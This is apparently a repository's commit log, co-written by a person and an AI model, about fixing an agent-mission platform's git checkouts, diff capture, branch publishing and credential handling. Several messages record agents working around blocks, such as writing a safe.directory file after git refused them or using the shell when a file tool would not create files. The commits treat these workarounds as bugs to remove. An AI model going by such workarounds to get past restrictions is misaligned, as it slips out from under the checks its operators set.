774f17d1949b772c7c10187af6f84f7ca4fae240
447
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Omar SobhandClaude Opus 5
|
5232175c88 |
fix(missions): forward the subscription token into mission containers
Switching agents to claude_cli left missions hanging: the per-mission container had claude_cli configured but no credential, so `claude -p` waited forever. A phase sat at `running` for ten minutes with nothing in the logs — no error, because there is nothing to error on. The original subscription design assumed a persisted `claude /login` under a bind-mounted $HOME. That holds for the shared runtime and NOT for a mission container, which gets its own data dir and therefore no login. So subscription mode now forwards CLAUDE_CODE_OAUTH_TOKEN. The two Anthropic credentials remain mutually exclusive, and there is now a test asserting it in both directions: Claude Code ranks ANTHROPIC_API_KEY above the OAuth token, so shipping both bills the API while the deployment believes it is on the subscription — visible only on the invoice. Deployment: CLAWMATES_RUNTIME_AUTH=subscription and CLAUDE_CODE_OAUTH_TOKEN added to compose + .env on gw-04. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
ac47dcbe94 |
feat(runtime): run agents on the subscription via the real claude binary
provider_alias_for now resolves Claude models to `claude_cli.default`,
which spawns the actual `claude` binary, instead of `anthropic.default`,
which posts to the raw API with Claude Code identity headers. Agent work
is ~99% of tokens, so this moves essentially all of it onto the Max
subscription and onto the supported client.
The judge deliberately stays on the API key. If both rode one credential,
a single subscription limit would blind the verifier at exactly the
moment there is most to verify; this way a throttle degrades missions but
verification keeps working.
Runtime config (applied on gw-04, reloaded via loopback — remote admin
reload is disabled by design):
- [providers.models.claude_cli.default] with mcp_config pointing at the
§15 door, so a subscription agent can ACT and not merely reason
- disallowed_tools denies Claude Code's own Bash/Write/Edit/WebFetch so
the gated door is the ONLY actuator and nothing bypasses the audit log
- env CLAUDE_CODE_OAUTH_TOKEN = "$CLAUDE_CODE_OAUTH_TOKEN" — the $NAME
form reads the daemon env, keeping the token out of config.toml
- anthropic.judge swapped to the API key (0 oat01 left in config)
Verified before changing anything: the real binary returned SUBSCRIPTION-OK
through the token, then ENV-OK once the daemon carried it in env.
Note for future readers: /api/config/prop reflects what is CONFIGURED, not
what the binary supports — `openai` 404s there too. An earlier note that
the image "has no claude_cli in its schema" was true of the old :sync
image and is not true of the rebuilt one.
400 tests, clippy clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
ad89ef94cd |
feat(library): attribute a run to a mission, and prove what it contributed
`corpus_items.mission_id` has existed since the table landed and nothing could populate it. `POST /api/library/runs` now accepts `missionId`, which is the seam the wizard needs: a mission-driven run is the same run, tagged. `corpus::contributed()` answers the question a continuous mission has to be able to answer — did THIS run add anything new. Because `record` never reassigns mission_id on conflict, the mission that first found a source keeps the credit, so a rerun cannot inflate its own count by re-recording what an earlier run already held. The test asserts exactly that: two missions see the same paper, the finder reports 1 and the rerun reports 0. This is the check the 0030-0044 generation of continuous research did not have. It could run weekly forever and every run looked like success. The test also earned its FK: the first version attributed to a bare UUID and the database refused it. Attribution to a mission that does not exist is not attribution, so the test now seeds real mission rows. 400 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
9de2cf34e4 |
feat(auto-merge): merge additive branches, refuse everything else
Closes the branch pile-up: a catalogue branch that only adds notes now merges into main by itself, so the work is actually in the vault rather than waiting in a branch nobody opened. Additive-only is measured from the diff, not assumed from the mission type. Three conditions, all required: the type declares additive_only, the run verified, and `git diff --name-status base...branch` contains only A entries. A research harvest that somehow rewrote a hand-written note is refused by the same check that lets its new notes through — which is the case the test pins down, asserting README.md on main is byte-identical afterwards. Renames and deletes count as non-additive. A rename is a delete plus an add and the delete half can destroy hand-written work. Unknown merge_policy values fail closed to Never. A typo must not grant auto-merge. The diff is taken against FETCH_HEAD, freshly fetched, using `...` so an unrelated commit landing on main meanwhile is not misread as ours. A conflicted merge aborts and leaves the branch for a human rather than wedging the checkout for the next run. merge_reason is always populated and surfaced in the API: a branch that quietly did not merge is indistinguishable from one never delivered. 399 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
107f0dbced |
feat(library): expose the library over the API
POST /api/library/runs harvests now; GET /api/library/items lists what the library holds. Thin wrappers — the work stays in crate::library — so a run can be started by a person, a schedule or the UI rather than only from an integration test. The response reports `healthy` explicitly rather than leaving a caller to infer it from an empty `shelved` list. A quiet week and a broken run both shelve zero papers, and collapsing those two is the exact ambiguity that cost most of this week. Failure reasons go to the log, not the response body: they can carry the remote URL and raw git stderr. AppState gains an optional blob store (the shelf), wired from the server binary where storage is already constructed. Optional because AppState::new is used by tests that never touch blobs; a route that needs it fails loudly rather than the constructor demanding it everywhere. 393 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
09c6496725 |
feat(library): clone the vault, harvest our topics, push the catalogue
Completes the loop: the notes now land in the real vault. Topics come from what the project is actually working on — papers/dynamic-agentic- topologies.md (topology search, ADAS/Darwin-Godel/SwarmAgentic) plus the two problems this week ran into, verifying what an agent did and giving a long-running agent memory of what it covered. Never pushes to main. The vault is a live Obsidian vault a human edits and syncs; pushing to main races that sync and can lose hand-written work. Every run lands on its own branch for a human to merge, the same rule the mission delivery path was validated 20/20 under. PDFs are NOT committed. A few hundred papers is gigabytes and would make the vault painful to clone and slow to open, so they stay on the blob store shelf and the note carries the key. My own test caught me repeating this week's branch-collision bug: I named branches from the HEAD of a UUIDv7, which is a 48-bit timestamp, so two runs in the same millisecond produce the identical name — exactly what hit mission 019fc42b. Fixed by taking the tail. The test now loops 100 ids instead of sampling two (a one-shot check passes by luck whenever the millisecond ticks between calls) and additionally asserts the head-based scheme DOES collide, so it cannot rot into a no-op. Live against the real vault: 10 candidates, 1 already held, 9 shelved, 0 failed branch clawmates/library-019fc82292e8, pushed 9 notes verified on the forge, 9 PDFs verified %PDF on the shelf (the "1 already held" is cross-topic dedupe inside a single run) Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
30eaa50c50 |
feat(harvest): one run — find, skip what we hold, shelve the rest
Turns the parts into a job. Order is the point: the checkmark list is consulted BEFORE anything downloads. Checking afterwards would still dedupe the catalogue while re-downloading every paper we already have, every week, forever. Two properties the tests pin down, both learned the hard way this week: - A quiet week is not a failure. `shelved == 0` with no errors is a healthy run against a mature library; `shelved == 0` with errors is broken. Harvest::healthy() and ::added_anything() keep those apart rather than collapsing them into one ambiguous "did nothing". - A failed download leaves the paper UNSEEN. Checking it off before the PDF is safely shelved would mean one transient network error retires that paper permanently. The checkmark is written last, after the bytes and the note are both on disk. The skip test gives every candidate a pdf_url pointing at a closed port, so if the skip ever regresses the test fails loudly instead of quietly re-fetching. Live end-to-end against arXiv, run twice: RUN1 3 candidates, 0 already held, 3 shelved, 0 failed RUN2 3 candidates, 3 already held, 0 shelved, 0 failed Library<'_> groups the five values that always describe one library; passing them loose is how a run shelves into one place and catalogues into another (also silences clippy::too_many_arguments honestly rather than by allow). 391 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e4a395b72e |
feat(papers): find papers on arXiv, shelve the PDF, catalogue the note
Corrects a misread of the design. I had built this as "read the vault to find papers"; the vault is the CARD CATALOGUE, not the source. Papers are found on arXiv, the PDF is pulled down and shelved in our own library, and a note recording it goes in the vault. Three parts, and which is which matters: arXiv — where papers are found blob store — the shelf; the PDF lives there (cm-files, local + S3) the vault — the catalogue; one note per paper, pointing at the shelf The checkmark list (corpus, 0064) is what makes this continuous rather than a job that redoes itself every week — the failure that killed the previous attempt (0030-0044, dropped in 0053). The load-bearing detail: every catalogue note carries `source_id: arxiv:NNNN.NNNNN` in frontmatter, which is exactly the key corpus::parse_note reads. So the checkmark list is rebuildable FROM the vault. If the database were lost, re-indexing restores what we have — the catalogue is authoritative, the index is derived. A test asserts that round trip rather than trusting the two halves to agree. Version suffixes are stripped (2401.12345v3 -> 2401.12345) or a weekly job re-downloads a paper every time authors post a revision. Fetches are rejected unless the bytes start with %PDF: arXiv serves an HTML holding page while a PDF renders, and shelving that leaves a file that looks present and is unreadable. Verified against live arXiv, not fixtures: arxiv:2607.29678 TokTier: Exact Stateful Tokenization for Agentic LLM… arxiv:2607.29677 ExtractBench: A Benchmark for Schema-Guided Enterpri… arxiv:2607.29658 Reusing Past Repairs Through Hierarchical Trajectory… pdf: 1,361,770 bytes, %PDF verified 388 tests, clippy clean. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
6e5ccc25a6 |
feat(corpus): record what a continuous mission has already covered
Slice 2 of the adopt-or-build plan. A recurring mission's hard problem is
not running the agent — that is 23 seconds — it is knowing what it did
last time. This repository already tried continuous research once:
migrations 0030-0044 built research_topics/loops, 0053 dropped them all,
and the reason they could not survive is that research_topics carried a
status lifecycle but no seen-set. It could run forever and never know
what it had covered.
Two kinds of row, because the real vault forced it. The plan assumed
notes carry arxiv:/doi:/url: frontmatter. Measured against the actual
valhalla-vault: 416 notes, 145 with frontmatter, and ZERO with any of
those keys — the dominant keys are repo-sync metadata (node, org, gitea)
and course fields (presenter, session). An ingester keyed only on
external identity would have indexed nothing, which is the same shape of
failure as everything else found this week. So `note` rows record
coverage (keyed by path) and `source` rows record consumption (keyed by
natural id); a continuous mission needs both.
Two decisions the data forced:
- `source:` is deliberately NOT an identity key. The vault uses it for
local paths of course material (/Users/quantum/Downloads/...), which is
provenance, not citable identity. Accepting it would fill the seen-set
with 25 rows keyed on a laptop path.
- The hash covers the body, not the whole file. Repo-sync notes rewrite
updated:/size_kb: on every sync without the prose changing; hashing the
file would report 103 phantom edits per run and make "unchanged"
meaningless.
Authoritative in Postgres rather than ZeroClaw memory, per the Slice 1
spike: memory is agent-scoped and mission agents are ephemeral
claw_<uuid> aliases (~100 already present). A seen-set that disappears
with the agent that wrote it is not a seen-set. The spike did find that
POST /api/memory upserts by key, so mirroring content there later would
inherit idempotence for free if keyed by source_id.
Verified against the live 416-note vault, not a fixture:
PASS1 { scanned: 416, inserted: 416, updated: 0, unchanged: 0 }
PASS2 { scanned: 416, inserted: 0, updated: 0, unchanged: 416 }
382 tests, clippy clean.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
ec85f6c8da |
fix(missions): close the three seams behind this run of failures
Seam 1 — delivery inferred checkout state from the tree, so whether work survived depended on what the agent happened to do. 019fc444 committed and left a clean tree; 019fc476 had its base advanced to match HEAD; 019fc450 survived only because a phase FAILED to commit and left the tree dirty. Same code, opposite outcomes, decided by the agent. mark_phase_started records the fact at phase launch, before the agent acts, so every one of those states answers identically. The tree checks remain as a second line of defence for pre-existing checkouts. Seam 2 — phase config was accepted, stored and read by nobody. That was `task`: every phase of every mission got identical instructions. The new phase_config registry names the reader for each live key and lists the eight that are declared-but-unimplemented, reporting both at mission creation so an author sees what will not happen. Its CI test found one I had missed: security_hardening.toml sets phase-level mcp_bundles asking for gitea_forge + security_scan, but bundles come from the TEAM template and the phase gets neither. Seam 4 — push_url_for collapsed a failed query, an unbound repo and a missing clone_url into one None, so a database fault was recorded as "nothing to push to" and metadata read `pushed: null, push_error: null` — the same ambiguity commit_error already fixed. Each case now carries its reason into the artifact, and a local git failure during publish is recorded rather than dropped by .ok(). Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
f7e336ff5f |
fix(missions): make an unrunnable test suite legible, and check the runtime at boot
Two changes against the same defect: the platform could not tell a missing capability from a legitimate negative result. verify_tests returned Option<bool>, collapsing four outcomes into None: no suite found, docker unreachable, exec failed, and no exit status. When clawmates-runtime shipped without cargo, every on_green_tests phase returned None and landed on -wip — identical to the reading for "this repo has no tests", which is the conclusion I drew and reported. The gate was correct throughout; it simply could not say why it was unproven. TestOutcome now names the four cases. Gating is unchanged (only Passed clears, unproven is never a pass), and tests_verified keeps its tri-state meaning for existing readers. tests_status and tests_detail are new, so an artifact distinguishes no_suite from could_not_run, and a CouldNotRun is logged as the infrastructure fault it is rather than passing quietly. runtime_preflight probes the runtime container at boot for every tool the platform invokes inside it and names what each absence disables. This is the check that was missing: the Dockerfile gained a toolchain, the image was never built, gw-04 ran the old one for days, and the only symptoms were an ungated suite and a security scan that scanned nothing. A report, not a gate — a missing scanner should stop us believing a scan, not stop the server. Its test guards the probes themselves, since a typo would produce a permanent false "missing" and train operators to ignore it. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
9bdc3cd89b |
fix(missions): stop titling commits "phase phase work"
Mission 019fc4e0 pushed "clawmates: phase phase work" — the iteration
marker was interpolated into a slot whose default already said "phase".
A rerun read correctly ("pass 2 phase work"), so only the common case was
wrong. Cosmetic, but it lands in the operator's git history under their
own name now that delivery commits as them.
Subject is now "clawmates: phase work" and "clawmates: phase work
(pass 2)". The test covers both, since the bug lived only in the branch
the previous shape did not exercise.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
ddab8e35f5 |
feat(missions): commit as the operator, overridable per deployment
Delivery commits now carry "Omar Sobh <[email protected]>" by default, so pushed branches associate with the operator's forge account the way their own commits do. CLAWMATES_COMMIT_NAME / CLAWMATES_COMMIT_EMAIL override it — a shared instance wants a bot identity, not a person's. This is attribution, not the fix. What made 019fc450's phase fail was the *absence* of any identity: the server container has none of its own, so git commit exits 128 regardless of which name would have been used. That was fixed in 25d9805; this only changes the value. The push credential is GITEA_TOKEN throughout and is untouched by any of it. Since the author line now names a person, the commit body says plainly that agents authored the work — otherwise autonomous commits would be indistinguishable from hand-written ones in git log. Also fixes 13 stray spaces that a string continuation had baked into every message body. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
1a979f500f |
fix(missions): judge local work against the remote tip, not the capture base
Mission 019fc476 lost phase 0's work again, and this time the cause was the interaction between two fixes I had just shipped. has_local_work compared HEAD against .git/clawmates-base to decide whether a checkout held mission work. advance_base_commit moves that marker to each phase's committed head. So the moment a phase committed successfully, base == HEAD, has_local_work reported "pristine", and the next phase's launch reset the work away. Phase 1 wrote CHAIN_MISSING.md. The preceding mission survived only because its phase 0 FAILED to commit and left a dirty tree. Fixing that failure is what exposed this one. One marker was carrying two meanings: "where should the next diff start" (rolling, per phase) and "is this checkout untouched" (fixed for the mission). Only the first belongs to clawmates-base. The second is now `origin/<branch>`, which does not move for the life of the mission, so a HEAD that differs from it means a phase committed — one commit ago or five. An unresolvable remote ref preserves, since wrongly skipping a refresh costs staleness while wrongly resetting destroys a phase. The existing test passed throughout because it never advanced the base. It now does, which makes it a reproduction rather than a restatement, and it needs a real bare origin to resolve origin/main the way a clone does. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
25d9805806 |
fix(missions): commit under the pipeline's own git identity
Mission 019fc450 lost its first phase to: git commit → exit 128: Author identity unknown The server container has no git identity — `git config --global user.email` exits 1 — so any commit fails unless one is supplied. This is the third consecutive failure whose trigger was agent behaviour rather than our code. Earlier missions committed only because an agent had happened to run `git config user.email` in the checkout, leaving a local identity the server inherited. Alongside the object-permission split and the reset, the pattern is the same: delivery depended on incidental side effects of what an agent chose to do, so identical missions succeeded or failed for reasons invisible in our code. Supplied via GIT_AUTHOR_*/GIT_COMMITTER_* env on every git call, which overrides config without a leaked string per invocation and names the committer as the pipeline. Agents' own commits keep the identity they set. The test asserts the identity *overrides* an existing local config rather than trying to unset the developer's global — an override necessarily also applies when config is absent, and it does not race parallel tests. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
08b2adae23 |
fix(missions): stop resetting a checkout that holds mission work
Mission 019fc444 ran two coding phases. Phase 0 created ALPHA.md and
delivery committed it; phase 1 then started and ALPHA.md was gone from
the working tree, so the second phase never saw the first's output.
`ensure_checkout` is called at every phase launch, not once per mission,
and its reuse path runs `git reset --hard origin/<branch>`. That is right
for a checkout picked up cold and destructive for one mid-mission.
Delivery is what made this reachable. Before the mission branch existed,
agent output stayed untracked and a hard reset left it alone. Committing
it makes it tracked, and tracked files absent from origin/<branch> are
exactly what a hard reset removes — so the slice written to stop work
being destroyed is what put it in reach of the thing destroying it. The
flagship shape is the casualty: in research_and_code, the coding phase
never sees the research brief.
`has_local_work` now gates the refresh. It checks both a dirty tree and a
HEAD that has moved off the recorded base, because the two failure shapes
differ: an agent that committed leaves a CLEAN tree at a new HEAD, which
a dirty-tree check alone would miss — and that is precisely the shape
being destroyed. With no recorded base it preserves, since wrongly
skipping a refresh costs staleness while wrongly resetting costs a phase.
This also makes the base-advance fix in
|
||
|
Omar SobhandClaude Opus 5
|
5b53705c97 |
fix(missions): let the server and the agent share one git checkout
Mission 019fc437 lost both phases' work to:
git add → exit 128: insufficient permission for adding an object
to repository database .git/objects
cm-api runs as uid 65532; the mission runtime container runs as root;
they share one bind-mounted checkout. Git's .git/objects/xx/ fan-out
directories inherit the ownership of whoever creates them, so an agent
that writes objects first locks the server out of those directories.
The failure is intermittent, which is why the previous run looked clean.
Mission 019fc42b's agents committed their own work, so the blobs already
existed and the server's `git add` never had to write one. Same template,
different agent behaviour, opposite outcome.
`core.sharedRepository` is git's own mechanism for this: objects and refs
are created group- and world-writable, and both parties read the setting
from the shared .git/config. It grants the agent nothing — it is already
root over the whole checkout — and unblocks the server, which was the
party being refused. Applied on clone and on checkout reuse.
Two supporting changes. The artifact now records `commit_error`: this
failure surfaced as `branch: null, push_error: null`, indistinguishable
from a phase that never had work to commit, with the reason only in host
stderr. And the test seeder now calls the production setup function
instead of reimplementing it — building the checkout by hand is what let
a clone-path defect stay invisible to fourteen tests.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
8bad869248 |
fix(missions): give each phase its own task and its own capture base
The first push run against a scratch repo (mission 019fc42b) delivered two branches correctly but exposed two bugs behind them. Per-phase instructions were inert. `phase_task_text` took only (kind, title, description), so `mission_phases.config.task` was accepted by the API, stored, and read by nothing. Every phase of a mission received byte-identical text differing only by the kind directive — so both coding phases did the whole mission instead of their slice, producing the same two files. The task now reaches the agent as a trailing THIS PHASE'S TASK block, scoped against the shared brief. The capture base never advanced. `.git/clawmates-base` is written once at clone time, so phase two diffed against the original clone point and reported the union of both phases' files as its own. It now moves to each phase's committed head after the patch is on disk; the pushed branch stays cumulative because it is built from HEAD. Both regression tests were confirmed to fail with their fix disabled. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e2871c4361 |
feat(missions): publish the mission branch, gated by commit_policy
Completes delivery. A phase's work is now captured, committed, gated and pushed — in that order, so every failure costs strictly less than the one before it. Publishing is last for a reason. By the time it runs the patch is on disk, the artifact is registered and the work is on a local branch, so a rejected ref, a rotated token or an unreachable forge costs a push and nothing else. A test pushes at a path that does not exist and asserts the commit is still there afterwards. The gate decides the branch name, never whether the work survives: - green, or policy `always` → `clawmates/mission-<m8>-<p8>` - red / unrunnable / no suite → `…-wip` - `on_reviewer_approval` → `…-review` Both land on the forge. A human can inspect, fix and re-push a branch; nobody can recover work discarded for failing a test. Deleting a red branch reproduces the old behaviour on purpose rather than by accident. `verify_tests` runs the project's own suite through the runtime container and returns `Option<bool>` — `None` for "could not establish", which the gate treats as unproven. An unreadable exit status is not a pass. That is the same fail-closed stance as the phase evaluator, and it is here because this tranche has now found four separate things reporting success while doing nothing. Never force-push. A rejected update is reported and left alone: the remote ref belongs to whoever set it, and overwriting it to make delivery look tidy is how a mission eats someone else's commit. The push URL is built fresh from the repo row and the ambient token, not read from `.git/config` — which no longer carries credentials, since agents run as root in a container that mounts the checkout. Tests push to a real `git init --bare` remote and assert the ref and its content actually arrived. A mock would have accepted anything. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
3ea288dbb5 |
fix(missions): every phase of a mission shared one branch
`branch_name` took `[..8]` of both the mission and the phase id. Both are
UUIDv7, which leads with a 48-bit timestamp, so ids minted in the same
millisecond — which is exactly what happens when a mission inserts its phases
in one transaction — share their leading hex. Production produced:
clawmates/mission-019fc40e-019fc40e
for both the research and the coding phase. Each phase's commit moved the ref
the previous one had just set, so a two-phase mission ended with one branch
and the earlier phase's work reachable only by sha.
The segments now come from opposite ends: the mission keeps its time-ordered
prefix so branches group and sort usefully, and the phase contributes its
random tail so siblings cannot collide.
The existing test missed this because it compared iteration 0 against
iteration 1 of the *same* phase, where the `-i2` suffix guaranteed a
difference. The new test asserts the precondition explicitly — two v7 ids
minted together do share leading hex — and then that their branches differ
anyway.
Also adds the `commit_policy` gate, which three workflow recipes have declared
since they were written with nothing reading it. Two properties it must have:
a failed gate redirects work to `<branch>-wip` rather than discarding it, and
an unrunnable or undiscoverable test suite counts as unproven, never as green.
`discover_test_command` returns None for a `package.json` with no test script,
because `npm test` exits non-zero for a missing script and would read as a red
suite rather than an absent one. Not yet wired to publishing.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
ca1fd46e08 |
feat(missions): commit captured work to a branch of its own
Second half of delivery, minus the push. After the patch is on disk and the artifact registered, the phase's work is committed onto `clawmates/mission-<mission8>-<phase8>`, with `-i<N>` for re-runs so a second pass cannot collide with the first. Three rules hold throughout: - Never the default branch. The name is derived from the mission and phase, so a mission can only ever add a ref nobody else owns. - Never force. A rejected update gets reported, not overwritten. - The same exclusions as capture. What was too noisy for a patch is too noisy for someone's history — build output, vendored trees, and the workaround files agents write when infrastructure fights them. A test drops a 50 KB binary in `target/` and a `.gitconfig_temp` beside the real change and asserts neither is committed. Ordering is deliberate: commit runs *after* capture, and a commit failure is logged without failing the capture. The patch is the guarantee; the branch is the convenience on top. The branch is created even when there is nothing to stage, because agents often commit their own work — `rust_sdlc` has a committer role — and that commit is unreachable once the checkout is reaped unless a ref points at it. One test changed meaning rather than breaking: it asserted capture left the working tree untouched, which was correct while capture stood alone. Capture now commits, so it asserts the new invariant — work on a namespaced branch, a clean tree, and the created file present in the commit. Push is still deliberately absent. Everything here is local, so a bug costs a retry rather than reaching a remote. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
a0e6b16abc |
fix(missions): stop agents having to work around git ownership
The captured diff from mission 019fc3ba contained the deliverable and, beside
it, a file the agent had invented:
+++ b/.gitconfig_temp
+[safe]
+ directory = /mission/repo
The server clones as uid 65532 and the mission container runs as root, so
every `git` an agent runs is refused with "detected dubious ownership". Agents
do not surface that as a failure — they improvise around it, and the
improvisation lands in the repository. Left alone it would have been committed
and pushed to the user's repo alongside the real work.
The judge got `GIT_CONFIG_*` for this in dd8dad2; the mission containers never
did. They do now — git's environment form of `-c`, inherited by subprocesses,
so it covers the agent's own git, the `git_operations` tool, and anything that
shells out. Scoped to the checkout, never `--global`.
`.gitconfig_temp` is also added to the capture exclusions. The cause is fixed,
but a stray workaround from some future agent should not reach a user's
repository, and the exclusion costs nothing.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
3a383aede6 |
fix(missions): give the uncapturable marker a real file
The marker registered an artifact at a path with nothing behind it, so any reader following it would get a bare 404. `_outputs` survives teardown even when the checkout does not, so the file can and should be written — and it says plainly what happened rather than leaving an operator to infer it from an empty response. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
e089360ac8 |
fix(missions): unblock the capture batch, and restore fetch auth
Two defects, both found by running a second real coding mission (019fc3ba)
after the first round of fixes. The agent created the file correctly this
time — `file_write` did its job — and capture still produced nothing.
**Head-of-line blocking.** `capture_phase_diff` returns `Ok(None)` when the
checkout is gone, and the caller treated that as success without recording
anything. The phase therefore stayed eligible forever, and because the batch
is bounded at five, five reaped phases from earlier test missions occupied
every slot permanently. A freshly finished coding phase, with its checkout
still on disk, was never reached — and nothing was logged, because nothing had
failed.
Fixed on both axes: an unreachable checkout now writes a `code_diff` marker
recording `captured: false` and why, so the row stops being selected; and the
batch orders newest-first, so live work is captured before archaeology. The
marker also distinguishes "this phase changed nothing" from "we lost the
checkout before looking", which an operator reading the mission needs to be
able to tell apart.
**Fetch lost its credentials.** `scrub_remote_credentials` (P1.1) strips the
token from `.git/config` so agents running as root cannot read it — but
`fetch_and_reset` fetched from the stored remote, which is now anonymous:
git fetch origin <branch> → exit 128:
fatal: could not read Username for 'https://git.redclaw.dev'
I accounted for push building a fresh authenticated URL and overlooked that
fetch needs one too. `fetch_and_reset` now takes the authenticated URL the
caller already computes, as does the `--unshallow` deepen. Stderr stays
redacted.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
409ca65ee7 |
fix(missions): capture from the clone point, and let agents create files
Two defects found by running a real coding mission (019fc372) rather than a test. Both made a coding phase look like it produced nothing. **Capture measured the wrong baseline.** It diffed the working tree against HEAD, which is correct only while work stays uncommitted. `rust_sdlc` has a *committer* role, so committing is the intended path — meaning a mission that did its job properly leaves a clean tree and captured nothing. That is exactly what happened: the agent created `DELIVERY_PROBE.md`, committed it as `aa3be95`, and the artifact recorded `empty: true` beside a commit that plainly contained the work. `mission_workspace` now records the clone point in `.git/clawmates-base` (in `.git/`, so it travels with the checkout, stays invisible to the repository, and cannot be reached by an agent through its pinned workspace), refreshed whenever `fetch_and_reset` moves HEAD. Capture diffs from there, covering committed, staged and unstaged changes in one pass. Checkouts predating the marker fall back to HEAD and say so via `base_recorded: false`. **Agents could not create files.** `coding_readwrite` granted `file_edit` but not `file_write`. `file_edit` replaces an exact existing string and rejects an empty `old_string`, so creating a new file was impossible. The mission transcript is unambiguous: "the tool rejected empty old_string... the shell is restricted", after which the agent worked around it through `shell`. The comment above that profile has claimed it grants file_write since the day it was written; the list never contained it. Also broadens capture from coding/benchmark/security_scan to every phase kind of a repo-bearing mission: `phase_task_text` tells research phases to "save findings under /mission/repo/research/", so filtering by kind would have discarded every research brief such a mission produced. Regression tests cover committed-only and committed-plus-uncommitted work against a real git repo. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
322c1be89c |
feat(missions): capture runs automatically, and once more before teardown
Wires diff capture into the two sweeps that matter. `phase_runner::sweep_once` gains `capture_finished_coding_phases`, guarded by `NOT EXISTS (code_diff for this phase)`. Deliberately a separate step rather than a hook on `close_finished_phases` or `evaluate_finished_phases`: a phase reaches `completed` through one or the other depending on whether it declared a `done_when`, so hanging capture off either would silently skip half the missions. The guard also makes it retryable — a capture that errors is simply re-selected next tick. `mission_runtime::sweep_once` captures anything still outstanding immediately before `teardown_container`, which deletes the checkout. This covers what the phase sweep structurally cannot: a mission that ended `failed` mid-coding still has real work on disk, and reaping it unexamined destroys the only evidence of what the agents actually did. Applies to coding, benchmark and security_scan phases — all three operate on a repo. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
716ee9a304 |
feat(missions): capture a coding phase's diff to durable storage
First half of mission delivery: the work is captured before anything is published. A coding mission has until now produced nothing durable — the checkout is deleted thirty minutes after completion and `register_artifact` had no callers at all, so the only surviving output was an LLM narrative of what the agents said they did. `capture_phase_diff` writes `diff.patch`, `diffstat.txt` and `delivery.json` under `<missions_root>/_outputs/<mission>/<phase>/` and registers a `code_diff` artifact. That directory is a *sibling* of the per-mission directories the sweeper removes, and outside every bind mount handed to a container — so teardown cannot take the record with it and agents cannot edit their own evidence. Three details that decide whether this works at all: - `git add --intent-to-add` before diffing. Untracked files are invisible to `git diff`, and a phase that only *creates* files is the likeliest shape for generated code — silently capturing an empty patch would be the worst possible failure. The index is reset afterwards so capture leaves the tree exactly as the agents left it, which the test asserts. - Build output is excluded by pathspec (`target`, `node_modules`, `.venv`, …). A phase that ran `cargo build` leaves a directory larger than the repo. - An empty diff is still an artifact, flagged `empty: true`. "This coding phase wrote no code" is currently invisible to an operator and is worth saying out loud. `RegisterArtifact` gains `metadata`, which the column has had since 0047 and nothing ever wrote; the diffstat and base sha go there. No migration needed — `kind` is unconstrained TEXT and the column already exists. Tests run against a real `git init` repo rather than a mock: every bug in this area so far came from git behaving differently than assumed, and a fake git would have agreed with the assumption. `capture_phase_diff_at` takes explicit paths so parallel tests cannot race through the process-global CLAWMATES_MISSIONS_ROOT — the first version of these tests did exactly that and two of four failed non-deterministically. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
ea3d145aac |
fix(missions): stop leaving an access token in every mission checkout
`with_ambient_auth` embeds GITEA_TOKEN in the clone URL, and git persists that
URL verbatim as the `origin` remote. The checkout is bind-mounted into a
container the agents run in as root, so the token sat in a file every mission
agent could read — and it reaches every repository that token reaches, not
just the one being worked on.
The remote is now rewritten to the bare URL immediately after clone. Delivery
does not depend on the stored URL: it will build a fresh authenticated URL at
push time, which also means a rotated token starts working at once rather than
after the next clone. Best-effort and non-fatal — a checkout that keeps its
token still works, and failing a mission over it would trade a real capability
for a situation already logged.
`strip_credentials` only treats an `@` in the *authority* as a separator, so a
path containing `@` (scoped npm-style names) is left alone.
Also, two changes delivery needs:
- `--depth 1` becomes `--filter=blob:none --single-branch`. A shallow clone
usually cannot push a new branch ("shallow update not allowed"), which is
exactly what mission delivery must do. A partial clone keeps full history —
so a base commit stays meaningful and a diff has something to be relative
to — while fetching blobs on demand.
- `fetch_and_reset` deepens a pre-existing shallow checkout once, up front,
rather than letting the push fail later with work on the line.
Fetch stderr is now redacted too; it can echo the remote URL.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
